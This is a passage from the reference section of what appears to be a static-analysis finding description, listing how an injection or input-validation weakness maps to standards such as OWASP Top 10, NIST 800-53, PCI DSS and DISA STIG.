[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - OWASP Top 10 2017 A1 Injection
[12] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements, 10.3.2 Deployed Application Integrity Controls, 12.3.3 File Execution Requirements, 14.2.3 Dependency
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2

[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I

[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)